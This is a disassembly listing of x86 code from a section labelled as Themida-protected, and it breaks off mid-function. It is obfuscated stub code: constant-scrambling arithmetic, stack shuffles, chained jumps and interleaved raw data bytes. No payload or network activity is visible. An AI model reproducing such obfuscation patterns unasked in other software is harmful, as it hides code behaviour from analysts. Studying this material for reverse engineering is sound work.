xor cl, 0DBh
add cl, 1Fh
jmp loc_5468BC
; ---------------------------------------------------------------------------
db 5Bh
dd 0EF88E957h, 0D901FFFFh, 83241C8Bh, 0EC8304C4h, 241C8904h
dd 0FD2DE4BBh, 0E0EB8135h, 135FD2Dh, 0C875BD9h, 0C4835C24h
dd 24042104h, 0C348E99Ch, 0A2B8FFFFh, 1DACEC4h, 0C4E958C2h
dd 68000026h, 18C1h, 52240C89h, 97DC6BAh, 7E2C14Ch, 0B23CF281h
dd 0D1895159h, 0CE9815Ah, 8153884Fh, 0FC25EEE1h, 3FB8503Bh
dd 5268037h, 72A31945h, 49E32E2Dh, 58C1212Eh, 0E907E9C1h
dd 0FFFFDADFh, 241C895Ch, 5892E9h
db 0
; ---------------------------------------------------------------------------
loc_549F19: ; CODE XREF: Themida_:0054C235j
push ecx
push 108F3BD7h
pop ecx
or ecx, 4A471272h
add ecx, 42CF470Ch
add ecx, 1D00658Fh
add ecx, 0BA814C0Ah
mov ebp, ecx
jmp loc_54637D
; ---------------------------------------------------------------------------
db 5Dh
dd 3860962Dh, 10C68133h, 292BEC4Bh, 10EE81C6h, 582BEC4Bh
dd 875EF701h, 248B243Ch, 24D36624h, 0A3E99C24h, 66FFFFC2h
dd 5624048Bh, 0B951E689h, 4F600346h, 1465E981h, 81491CDAh
dd 222B7E1h, 9CE98153h, 1120022h, 525559CEh, 4FA6E9h, 0E9D2F700h
dd 495Ch, 34FFF701h, 0C948E924h, 5B54FFFFh, 0A8BB5356h
dd 8172401Ch, 8D61F3C3h, 0C1D3F720h, 0F38107EBh, 55DF5E7Dh
dd 59ECEB81h, 5CE94896h, 81FFFFDBh, 4C5h, 2C58300h, 8904EC83h
dd 74FF242Ch, 8F5D0424h, 0E95C2404h, 3E34h, 56DFF766h
dd 79EDE9h, 24048900h, 0EA80D6B0h, 0EF84E9BDh, 79B6FFFFh
dd 5166CEFEh, 0FFD2CBE9h, 5BDD29FFh, 0B85DEF01h, 48D761CAh
dd 3C8BF831h, 0E0895024h, 405h, 4C08300h, 5C240487h, 524AE9h
dd 2E1C100h, 4FE8E981h, 0F1E97AB4h, 68000029h, 74F277DBh
dd 0E002E95Eh, 34FFFFFFh
db 24h, 58h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54C1CD
; ---------------------------------------------------------------------------
dd 9D1C77FFh, 4185866h, 0A7E99C24h, 81FFFFC1h, 4ECh, 24148900h
dd 4D9EE9h, 4C78100h, 83000000h, 3C8704C7h, 66045C24h
dd 662CF828h, 138FE9h
db 0
; ---------------------------------------------------------------------------
loc_54A089: ; CODE XREF: Themida_:005489BCj
mov [esp], ebp
add dword ptr [esp], 17C95629h
push dword ptr [esp]
pop eax
jmp loc_550E1A
; ---------------------------------------------------------------------------
dd 2D28B2BEh, 0D53FE90Fh, 0E281FFFFh, 4B2C20E7h, 5F5AE281h
dd 3FE96245h
db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A0B7: ; CODE XREF: Themida_:0054C105j
mov edx, 597E6779h
push edx
jmp loc_54B979
; ---------------------------------------------------------------------------
dw 0CD01h
dd offset dword_50CC48+6A1h
dd 15E95900h, 0BBFFFFFFh, 36244D7Dh, 5F5BDE01h, 8725E9h
dd 68565500h, 4EE53349h
db 8Bh, 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54989B
; ---------------------------------------------------------------------------
aSw db ']éw',0Ah,0
db 0
; ---------------------------------------------------------------------------
loc_54A0FB: ; CODE XREF: Themida_:0054E744j
mov [esp], ebx
push ebp
mov ebp, 3F16B35h
mov ebx, 82C1AB6Bh
sub ebx, ebp
pop ebp
sub [esp+8], ebx
pop ebx
pop ecx
push dword ptr [esp]
pop eax
push ebx
push esp
pop ebx
add ebx, 4
push eax
mov eax, 26083A40h
inc eax
xor eax, 26083A45h
add ebx, eax
pop eax
jmp loc_547C1F
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481241Ch, 4, 4C381h, 0B8500000h, 4, 3651E9h, 243C8700h
dd 6624248Bh, 5024048Bh, 25BFE9h
db 0
; ---------------------------------------------------------------------------
loc_54A15D: ; CODE XREF: Themida_:00552754j
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_548240
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 0CAFE03B2h, 70DBE9h
db 0
; ---------------------------------------------------------------------------
loc_54A175: ; CODE XREF: Themida_:0054E89Fj
; Themida_:005525EBj
push ebp
mov ebp, esp
push edi
push 7E57h
mov [esp], ecx
mov ecx, 15AB360Dh
mov edi, 54A9597Dh
sub edi, ecx
pop ecx
push ebx
mov ebx, 387F0861h
xor edi, ebx
pop ebx
and edi, 479A6A78h
xor edi, 6BC6099Eh
sub edi, 1D246594h
dec edi
xor edi, 5021BDFDh
add ebp, 9E11D38h
add ebp, edi
sub ebp, 9E11D38h
pop edi
push edi
mov edi, 4
jmp loc_5516D1
; ---------------------------------------------------------------------------
loc_54A1CA: ; CODE XREF: Themida_:0054893Dj
push esp
pop edx
push edi
mov edi, 4
sub edx, 56F3D28h
add edx, 518E0384h
add edx, edi
jmp loc_54D8EC
; ---------------------------------------------------------------------------
loc_54A1E5: ; CODE XREF: Themida_:0054A83Cj
mov eax, 577753C1h
push ebp
mov ebp, 5B46084Ch
or ebp, 5F7957C2h
or ebp, 4C4A61C4h
sub ebp, 89C3E76h
jmp loc_54712D
; ---------------------------------------------------------------------------
db 50h
dd 404AB568h, 24048B29h, 4C481h, 65350000h, 0F73C115Ah
dd 0B95148D8h, 0BB599CF0h, 0E959C831h, 26F2h, 4C481h, 0C4E90000h
dd 5FFFFC0h, 4, 8B240487h, 48F2424h, 3CD25C24h, 0BBE99C24h
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A24F: ; CODE XREF: Themida_:005517EAj
or ebx, edi
jmp loc_54D935
; ---------------------------------------------------------------------------
dw 0D3B9h
dd 0F72D5727h, 0BA52D1h, 0E9000000h, 7DEBh, 4C781h, 3C870000h
dd 54E95C24h, 0FFFFFFC2h, 669D1C77h, 2414D259h, 0BF84E99Ch
dd 3C8BFFFFh, 47E95324h
db 7Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A28F: ; CODE XREF: Themida_:00546F51j
pop ebp
push edx
mov edx, esp
jmp loc_54EC58
; ---------------------------------------------------------------------------
loc_54A298: ; CODE XREF: Themida_:005513BDj
pop ebp
push ebp
mov ebp, 7E1E5817h
add ebp, 0F93123Dh
inc ebp
shr ebp, 7
jmp loc_54E2C9
; ---------------------------------------------------------------------------
loc_54A2AE: ; CODE XREF: Themida_:0054A949j
mov esi, 0B1969CCh
push edi
mov edi, esi
mov edx, edi
pop edi
pop esi
sub ebp, edx
pop edx
sub ebp, 6E753369h
xor ebx, ebp
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_54E749
; ---------------------------------------------------------------------------
db 0B8h, 75h, 6Fh
dd 540312Fh, 4A1C9ACCh, 0F758C601h, 0C6C681D6h, 0B8EAFBA5h
dd 4E6869FDh, 93E9F031h, 5500004Ch, 4BDh, 5DE92900h, 109E9h
dd 0C875F00h, 24248B24h, 243CD366h, 0BEF0E99Ch, 8B66FFFFh
dd 0F0E9240Ch
db 57h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A323: ; CODE XREF: Themida_:00547841j
add edi, 720D3CFAh
jmp loc_551A17
; ---------------------------------------------------------------------------
dw 0EA01h
dd 4E5BEA81h, 2C8B01A3h, 4C48324h, 8904EC83h, 4BE2434h
dd 0E9000000h, 0FFFFC95Ah, 0E924248Bh, 56BAh
; ---------------------------------------------------------------------------
loc_54A354: ; CODE XREF: Themida_:00552197j
sub esp, 4
mov [esp], ebp
push esi
jmp loc_552621
; ---------------------------------------------------------------------------
db 81h
dd 0FFFFFFEEh, 6AF681FFh, 816A4A2Fh, 9FD0AFC6h, 5EF70181h
dd 4B850h, 0C7010000h, 243C3358h, 33243C31h, 248B243Ch
dd 0BE78E924h, 0BF57FFFFh, 4, 2827E9h, 4EC8100h, 0E9000000h
dd 121Bh, 46B35351h, 0F60CF380h, 0BC380D3h, 0EB6FE952h
dd 5066FFFFh, 0C328F1B0h, 24048B66h, 0F02C483h, 8F66C0B6h
dd 37E98704h, 50FFFFBEh, 0BE30E99Ch, 2BE9FFFFh
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A3DF: ; CODE XREF: Themida_:0054FEE2j
add ebx, ebp
pop ebp
add ebx, 4
xchg ebx, [esp]
jmp loc_548C2B
; ---------------------------------------------------------------------------
loc_54A3F0: ; CODE XREF: Themida_:0054EC9Cj
add ebp, 4
jmp loc_54BF8A
; ---------------------------------------------------------------------------
db 89h
dd 0FFBF243Ch, 89225D01h, 0DF015FFBh, 3E7C15Bh, 233EE956h
dd 0C870000h, 14895C24h, 9E95424h
db 2Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A41F: ; CODE XREF: Themida_:0054995Cj
add ecx, ebx
pop ebx
jmp loc_54776C
; ---------------------------------------------------------------------------
loc_54A427: ; CODE XREF: Themida_:0054C74Bj
mov edx, [esp]
add esp, 4
jmp loc_54E075
; ---------------------------------------------------------------------------
aBiYsv db '±BˆÊYéV%',0
align 4
loc_54A43C: ; CODE XREF: Themida_:00551980j
add edx, 17871FAFh
push ebx
jmp loc_55276B
; ---------------------------------------------------------------------------
loc_54A448: ; CODE XREF: Themida_:0054CFD2j
neg dword ptr [esp]
jmp loc_5516FD
; ---------------------------------------------------------------------------
dd 6312BD55h, 0E5C104A2h, 0EDBF5704h, 91DE64Fh, 0C5815FFDh
dd 6F322A39h, 4968454Dh, 0E9000074h, 6CD9h, 0F5B6E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A47A: ; CODE XREF: Themida_:00549C62j
pop ebp
jmp loc_54A5AE
; ---------------------------------------------------------------------------
dd 57241489h, 0FD0BA0BFh, 0CB56E93Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A48E: ; CODE XREF: Themida_:0054F6A7j
add esp, 4
sub bl, 0B6h
sub bl, al
push edx
mov dh, 0C7h
shl dh, 3
jmp loc_55147A
; ---------------------------------------------------------------------------
db 5Dh, 8Bh, 4
dd 4C48324h, 31241433h, 14332414h, 24248B24h, 5C95E9h
dd 243C3100h, 8B243C33h, 0FE92424h
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A4C7: ; CODE XREF: Themida_:005494BBj
push ecx
mov ecx, 4
add ebx, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 4
add ebx, esi
mov esi, [esp]
add esp, 4
xchg ebx, [esp]
jmp loc_546E19
; ---------------------------------------------------------------------------
loc_54A4F6: ; CODE XREF: Themida_:005497ADj
sub bl, 72h
add bl, dl
add bl, 72h
sub bl, 0CAh
jmp loc_550621
; ---------------------------------------------------------------------------
aIxsu db '‰åéî{',0
db 0
; ---------------------------------------------------------------------------
loc_54A50D: ; CODE XREF: Themida_:005512A2j
add ebx, 1290329Ch
add ebx, eax
jmp loc_54FD29
; ---------------------------------------------------------------------------
loc_54A51A: ; CODE XREF: Themida_:0054E80Aj
sub edi, eax
pop eax
jmp loc_54C3EF
; ---------------------------------------------------------------------------
loc_54A522: ; CODE XREF: Themida_:0054E409j
pop ecx
and eax, ecx
push dword ptr [esp]
jmp loc_54F06E
; ---------------------------------------------------------------------------
loc_54A52D: ; CODE XREF: Themida_:0054EB26j
xor edi, [esp]
pop esp
mov [esp], edi
mov edi, 55847B86h
push ebp
mov ebp, 238550ADh
shl ebp, 3
jmp loc_547B52
; ---------------------------------------------------------------------------
db 1
aS_6 db 'ÓéÒ-',0
align 2
dw 568h
dd 0E900007Dh, 0FFFFC232h, 5C241C87h, 426268h, 24148900h
dd 0DB08E953h, 8B66FFFFh, 30682404h, 89000024h, 0D8E9240Ch
db 76h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A57B: ; CODE XREF: Themida_:005500AFj
sub dword ptr [esp], 13C60DFAh
jmp loc_548B0A
; ---------------------------------------------------------------------------
loc_54A587: ; CODE XREF: Themida_:0054E820j
xor ecx, 2878420Dh
push edi
mov edi, ecx
mov esi, edi
pop edi
jmp loc_54E26E
; ---------------------------------------------------------------------------
dd 52F26858h, 0C4E90000h, 81FFFFC2h, 1C52C7C9h, 0C3BFE91Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A5AE: ; CODE XREF: Themida_:0054A47Bj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_54EFBE
; ---------------------------------------------------------------------------
aPUiSqw db 'P°uˆÅéïW',0
dw 0BB00h
dd 47EC09E1h, 0FFEB9FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A5D1: ; CODE XREF: Themida_:005465D7j
mov ch, 25h
add bh, ch
pop cx
sub bh, 1Fh
mov ah, bh
pop ebx
add cl, 34h
sub cl, ah
sub cl, 34h
mov eax, [esp]
add esp, 4
jmp loc_55128A
; ---------------------------------------------------------------------------
dd 0E904C483h, 42E0h, 8359C829h, 48904ECh, 0C46E924h, 0F5810000h
dd 74536350h, 7054F581h, 814D0B64h, 2E37FEDh, 8BEA017Bh
dd 49E9242Ch
db 66h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A623: ; CODE XREF: Themida_:0054C573j
add edi, 4
push edi
jmp loc_54D6C7
; ---------------------------------------------------------------------------
db 1
dd 0F0015BDEh, 8124348Bh, 4C4h, 177DE900h, 0F7010000h
dd 2282EF81h, 0EF8173E8h, 62FD5470h, 243C335Eh, 0E9243C31h
dd 0FFFFD8B7h, 19040B2Ch, 81E28952h, 4C2h, 4BD5500h, 0E9000000h
dd 0C91h
; ---------------------------------------------------------------------------
loc_54A674: ; CODE XREF: Themida_:0054D349j
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
add dword ptr [esp], 15E461DDh
sub dword ptr [esp], 76D35F8Dh
jmp loc_551E53
; ---------------------------------------------------------------------------
dd 8324348Bh, 685204C4h, 55B2h, 83242489h, 5A042404h, 0FFCEA2E9h
dd 0CBE980FFh, 42E9CE28h, 29FFFFD4h, 36FAE9DFh, 0B8500000h
dd 0
dd 9560D32Dh, 50D80169h, 0A3E9E089h, 89000003h, 0E3C158C3h
dd 3FEB8108h, 2D8DB7D0h, 6AB22136h, 3FE9D801h, 68000057h
dd 195A1423h, 2CCB815Bh, 0E9310812h, 2495h, 1C8B2C04h
dd 0E8BDE924h, 6ABBFFFFh, 0F7648A59h, 0C38143DBh, 648A596Dh
dd 86E9DE01h, 5E000055h, 94C5C781h, 0FB018800h, 0FFD0D2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A725: ; CODE XREF: Themida_:00547E0Ej
pop ecx
neg edi
xor edi, 4DA4245Dh
sub eax, 0B6F6E94h
sub eax, edi
add eax, 0B6F6E94h
pop edi
push 1FA1h
mov [esp], ebx
push esp
pop ebx
jmp loc_54868E
; ---------------------------------------------------------------------------
dw 8B66h
dd 8BE92404h, 66000033h, 66536647h, 661149BBh, 5B66DF01h
dd 5FFA8966h, 66DAF766h, 6657DAF7h, 661B93BFh, 51CFCF81h
dd 0EDE78166h, 6647667Ch, 5A8EF81h, 646DE9h, 4C48100h
dd 0C0000000h, 0EDC006E5h, 0BCC58007h, 1686E9h, 4EC8300h
dd 0E9240489h, 7E91h
; ---------------------------------------------------------------------------
loc_54A7A4: ; CODE XREF: Themida_:005484CEj
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
jmp loc_546925
; ---------------------------------------------------------------------------
db 0E9h, 54h, 0BAh
dd 0D830FFFFh, 5115045Bh, 0FFFDFCE9h, 2CF781FFh, 531C521Dh
dd 0FD85BA52h, 0D389F671h, 0B6B8505Ah, 0E90A4B6Ch, 4537h
dd 207F83ADh, 8C840F00h, 81FFFFCDh, 8B5942C6h, 81C6812Bh
dd 8159A632h, 1620C8EEh, 81C60159h, 1620C8C6h, 4EC8159h
dd 89000000h, 8FBA2414h, 0E930D664h, 676Ch, 7D29CE81h
dd 0C6811B2Fh, 10A5F094h, 348BF229h, 4C48324h, 0BF57C201h
dd 2AC11E86h, 51B9C781h, 0D6E90114h
db 48h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A83B: ; CODE XREF: Themida_:0054FB7Dj
push eax
jmp loc_54A1E5
; ---------------------------------------------------------------------------
db 4Dh, 81h, 0C5h
dd 0F61EF8D9h, 4246C81h, 45504ED0h, 4246C01h, 4244481h
dd 45504ED0h, 0FFF894E9h, 55854FFh, 4, 0FFC59EE9h, 241C8BFFh
db 83h, 0C4h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54D759
; ---------------------------------------------------------------------------
db 0BEh, 75h, 44h
dd 0D6F74186h, 222ACE81h, 81464B32h, 41956E6h, 0EE814648h
dd 480018FFh, 7111DC05h, 2DF00108h, 87111DCh, 0E924348Bh
dd 0FFFFFD40h
; ---------------------------------------------------------------------------
loc_54A8B0: ; CODE XREF: Themida_:0055225Aj
pop eax
push edx
push esi
mov esi, 4B0D49DFh
push ebx
jmp loc_546F56
; ---------------------------------------------------------------------------
aRsx7 db 'RéX7',0
align 4
dd 81BA6652h, 0EAC16611h, 0EA816606h, 81660001h, 662F4BEAh
dd 2F08C281h, 0FFC3E3E9h, 1CF766FFh, 1FE99C24h, 0BAFFFFB9h
dd 4, 15AD089h, 7A4E9C3h, 18B00000h, 81E18951h, 4C1h, 4E98300h
dd 5C240C87h, 0E9241489h, 3B64h
; ---------------------------------------------------------------------------
loc_54A914: ; CODE XREF: Themida_:0054DED7j
add esp, 4
jmp loc_54E68B
; ---------------------------------------------------------------------------
dd 4C681h, 0EEE90000h, 41000057h, 7DFDC181h, 0E1812E24h
dd 34E362BDh, 4C34F181h, 0E0E97666h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A93F: ; CODE XREF: Themida_:00546C25j
sub esp, 4
mov [esp], edx
push esi
jmp loc_54A2AE
; ---------------------------------------------------------------------------
dw 0B951h
dd 458B0C43h, 5559C809h, 8E2D12BDh, 0D1D5F729h, 74A6E9EDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A966: ; CODE XREF: Themida_:005491D0j
mov [esp], eax
push ecx
mov cl, 0B1h
mov al, cl
jmp loc_55061B
; ---------------------------------------------------------------------------
db 66h
dd 5324048Bh, 241C8B54h, 8104C483h, 4C3h, 32E56800h, 34890000h
dd 0E1B95124h, 51704A65h, 874BD1B9h, 2E1C145h, 4102E9C1h
dd 0B1B1E981h, 0CE8975D1h, 6594E9h, 24048100h, 513003C6h
dd 0A242C81h, 0E951D10Fh, 0FFFFB84Ah, 0C381E389h, 4, 8704C383h
dd 815C241Ch, 4C4h, 6172E900h, 0C7810000h, 4, 1694E9h
db 0
; ---------------------------------------------------------------------------
loc_54A9E5: ; CODE XREF: Themida_:0054F8E7j
mov esp, [esp]
jmp loc_5506BD
; ---------------------------------------------------------------------------
db 68h, 0DBh, 13h
dd 1C890000h, 81E38924h, 4C3h, 2039E900h, 5D540000h, 4C581h
dd 0C5810000h, 4, 0E9242C87h, 3D9Ah, 1B34D968h, 0E7C15F10h
dd 1CA3E906h, 0EB280000h, 57C30059h, 57FBE9h, 6E3C100h
dd 0E0F3814Bh, 0D166310Ah, 6BF381EBh, 15B1714h, 0EC815BDEh
dd 4, 51240489h, 2B9h, 2C815100h, 0C057B024h, 0B0055843h
dd 5943C057h, 8758C601h, 248B2434h, 5899E924h, 4050000h
dd 83000000h, 48704E8h, 34895C24h, 22BA5224h, 0BE766E49h
dd 0F32717B1h, 0FFE0D5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54AA91: ; CODE XREF: Themida_:0054AE92j
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ecx
push ebx
push eax
push ecx
mov ch, dl
mov al, ch
mov ecx, [esp]
add esp, 4
mov bl, al
pop eax
mov cl, bl
pop ebx
push 640Fh
jmp loc_547B0F
; ---------------------------------------------------------------------------
dw 4C88h
dd 0C8B0187h, 4C48324h, 0FFB741E9h, 59F781FFh, 892AC169h
dd 0F3295FFEh, 4EC815Eh, 89000000h, 0B6E9241Ch
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AAE3: ; CODE XREF: Themida_:0054C346j
mov ebx, 63415FE7h
shr ebx, 3
jmp loc_54AFD7
; ---------------------------------------------------------------------------
dd 13E99C50h, 81FFFFB7h, 6FF65DC6h, 0E9E6D1A6h, 2338h
dd 0E95EF529h, 4E89h, 0BFC0E958h, 0BE56FFFFh, 5382527Fh
dd 618EEB9h, 5EF13109h, 6C1BF181h, 0E9811B9Dh, 28DE3830h
dd 0FFEA3DE9h, 0C2815CFFh, 35530EDh, 0B1E9C201h
db 31h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AB3F: ; CODE XREF: Themida_:0054D11Bj
inc edi
shr edi, 2
not edi
push ecx
jmp loc_5516A3
; ---------------------------------------------------------------------------
loc_54AB4B: ; CODE XREF: Themida_:0054CABDj
inc dl
push cx
mov cl, 0DDh
jmp loc_551FE2
; ---------------------------------------------------------------------------
dw 1489h
dd 80EDB624h, 842C0CEEh, 8404F000h, 0B151535Ah, 22B79Ah
dd 0BF27E9CFh, 93E9FFFFh, 81FFFFB6h, 0AD4995C6h, 8BF031F6h
dd 0C4812434h, 4, 5DE9C589h, 58000060h, 500F2105h, 44015F52h
dd 9DE90424h
db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AB9F: ; CODE XREF: Themida_:0054F42Dj
push esp
pop ebx
add ebx, 4
push eax
mov eax, 5DB7189Fh
not eax
sub eax, 0A248E75Ch
jmp loc_54B7AA
; ---------------------------------------------------------------------------
loc_54ABB9: ; CODE XREF: Themida_:005473C9j
add ebp, 4
jmp loc_54CD79
; ---------------------------------------------------------------------------
dd 27DF68h, 263AE900h, 1590000h, 5B4605D8h, 0BD5501AEh
dd 59711D6Ch, 0F2711805h, 18B7E972h, 0FEB80000h, 21000000h
dd 34FF1C47h, 2434FF24h, 3EE95158h, 81FFFFC7h, 42404h
dd 48F0000h, 0DC70E924h, 0D2F7FFFFh, 8104EAC1h, 0C53467E2h
dd 0DC28127h, 0E9146203h, 4B84h
; ---------------------------------------------------------------------------
loc_54AC20: ; CODE XREF: Themida_:005489F6j
push esi
mov esi, 1C82739Ah
mov ecx, 55E1646Bh
jmp loc_54FCFD
; ---------------------------------------------------------------------------
dd 27E9EE01h, 59000012h, 0BAE9DE89h, 5300004Dh, 8904EC83h
dd 0D8682434h, 5E75806Bh, 5E82EE81h, 0DEF74059h, 1435C681h
dd 0EE8147BFh, 129806DDh, 1487E9h, 0F4E95800h, 5F00000Dh
dd 2CE7E9h, 48B6600h, 5B716824h, 0F3E90000h, 0F7FFFFB8h
dd 88E94ED6h
db 47h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AC87: ; CODE XREF: Themida_:0054CBB5j
mov ecx, [esp]
add esp, 4
jmp loc_54B337
; ---------------------------------------------------------------------------
db 30h, 0C3h, 0Fh
aHna db '¶ÀhNa',0
dw 8900h
dd 0EC83242Ch, 24248904h, 4240481h, 5D000000h, 5058B850h
dd 0B95153DDh, 31F355F1h, 4DA0E9h
db 0
; ---------------------------------------------------------------------------
loc_54ACC1: ; CODE XREF: Themida_:0054E57Aj
pop esp
or edx, eax
jmp loc_54CCB3
; ---------------------------------------------------------------------------
db 0C0h, 0EDh, 6
dd 309FF580h, 0E78059EFh, 0E9CFFE40h, 67BFh, 4C281h, 0C2830000h
dd 4F53E904h, 0C3810000h, 4, 4EC81h, 1C890000h, 2474FF24h
dd 241C8B04h, 4C481h, 0CAE90000h, 8100004Dh, 4C4h, 7B14E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AD16: ; CODE XREF: Themida_:0054EC07j
add eax, ebp
pop ebp
add eax, 4
xchg eax, [esp]
jmp loc_54D478
; ---------------------------------------------------------------------------
dd 5B46B951h, 0F1815A67h, 78E50158h, 80E9C801h
db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AD37: ; CODE XREF: Themida_:0054876Cj
push ebx
mov ebx, 25BA559Bh
push esi
mov esi, 458950C9h
xor ebx, esi
jmp loc_54917A
; ---------------------------------------------------------------------------
dw 0EE80h
dd 28280424h, 8B282CF0h, 3FE92414h, 2C000027h, 0C658E94Eh
dd 2CACFFFFh, 66D828A5h, 663AC168h, 0B3241C89h, 66D800A5h
dd 68241C8Bh, 6D01h, 0E9243C89h, 0FFFFD216h, 4C4815Ch
dd 0D3000000h, 77E92424h, 89FFFFB4h, 242C8BEEh, 104C483h
dd 24348BF7h, 4C481h, 3C330000h, 243C3124h, 0FFBC35E9h
dd 4BBFFh, 0D9890000h, 0BDA5E95Bh, 8B66FFFFh, 0B0E9240Ch
dd 0FF000042h, 48B2434h, 4C48124h, 51000000h, 1021E9h
dd 4EC8100h, 0E9000000h, 6A3Eh
; ---------------------------------------------------------------------------
loc_54ADE4: ; CODE XREF: Themida_:0054B036j
pop esp
sub ebx, 612D7A99h
add ebx, 0AF66089h
jmp loc_54C77F
; ---------------------------------------------------------------------------
dw 1489h
dd 2B026824h, 4890000h, 242C8124h, 7D3D68EEh, 5A2434FFh
dd 83E78957h, 48904ECh, 4B824h, 0C7810000h, 8BA4017h, 0EF81C701h
dd 8BA4017h, 0A3E95058h, 0FF00006Dh, 5D042474h, 0E924048Fh
dd 0FFFFD3B2h, 9EF9055Bh, 79E913B2h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AE47: ; CODE XREF: Themida_:005485F6j
mov edx, 4A2934A7h
sub edx, 0FF3C3242h
sub ebp, edx
jmp loc_54ECB2
; ---------------------------------------------------------------------------
db 81h, 0C5h, 0FFh
dd 55F81BFFh, 0AB243481h, 8F6AAF0Ah, 68532447h, 41C1h
dd 0E9241489h, 3167h, 0B60F6664h, 0E9545102h, 0FFFFDB8Ah
; ---------------------------------------------------------------------------
loc_54AE84: ; CODE XREF: Themida_:005486CBj
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_54AA91
; ---------------------------------------------------------------------------
db 0FFh
dd 565F2434h, 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h
dd 3ADBE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AEB6: ; CODE XREF: Themida_:0054C76Cj
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push edi
push ebp
push ebx
mov ebx, 31C13808h
xor ebx, 7B811E44h
sub ebx, 4A3FE64Ch
mov ebp, ebx
jmp loc_552196
; ---------------------------------------------------------------------------
loc_54AEEB: ; CODE XREF: Themida_:005506D9j
mov ebx, 0A2A8A8E4h
sub ebx, edx
mov edx, [esp]
add esp, 4
add esi, ebx
jmp loc_55258C
; ---------------------------------------------------------------------------
dw 0BA52h
dd 4FE65105h, 0DAF7DAF7h, 0D64CA81h, 0C9E9419Fh, 100001Eh
dd 1BF4E9C1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AF1E: ; CODE XREF: Themida_:0054CBA9j
push dword ptr [esp]
jmp loc_548D6C
; ---------------------------------------------------------------------------
dw 0EF68h
dd 8900003Fh, 4BA2414h, 2D000000h, 5E297007h, 3314E9h
dd 81D2F700h, 90346FC2h, 1BA3E9FEh, 0E95D0000h, 0FFFFBED5h
dd 32B3C781h, 0F7595118h, 1DF781D7h, 81D32BC7h, 0B936D1EBh
dd 0E9FB296Dh, 1A9Ch, 24048B66h, 0E0895050h, 7046E9h, 0E9C14900h
dd 7DF18108h, 89005D7Eh, 0C60159C8h, 8124048Bh, 4C4h, 4C68100h
dd 56000000h, 4E02E9h, 7C606800h, 4890000h
db 24h, 89h, 0E0h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_54E80F
; ---------------------------------------------------------------------------
db 1
dd 232D5BD8h, 5E184522h, 8B240487h, 3E92424h, 54FFFFD2h
dd 4FE9515Bh
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AFD7: ; CODE XREF: Themida_:0054AAEBj
sub ebx, 7E7A4BFBh
push esi
mov esi, 16F90ADAh
neg esi
xor esi, 3F8A20AAh
sub esi, 19FE55E6h
jmp loc_54DB3F
; ---------------------------------------------------------------------------
dw 0D601h
dd 487DB951h, 0E9D10AA5h, 677BE981h, 0CE018867h, 827E9h
dd 4C48300h, 81E68956h, 4C6h, 4FCAE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B01E: ; CODE XREF: Themida_:0054D697j
sub edi, 759618E1h
add edi, eax
add edi, 759618E1h
pop eax
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_54ADE4
; ---------------------------------------------------------------------------
db 83h
dd 0C38104C4h, 1BA87ED6h, 0A5E9D301h
db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B04B: ; CODE XREF: Themida_:0054C374j
xchg eax, ecx
xor ecx, 730469ECh
jmp loc_547E0C
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832404h, 62B95104h, 926E404h, 0F58159CDh, 67FE0466h
dd 0A1E9EF01h, 0B0FFFFC1h, 0E9DD34C2h, 2CD8h
; ---------------------------------------------------------------------------
loc_54B07C: ; CODE XREF: Themida_:0054B50Dj
sub eax, 76C9268Ch
mov esi, [esp]
add esp, 4
sub esp, 4
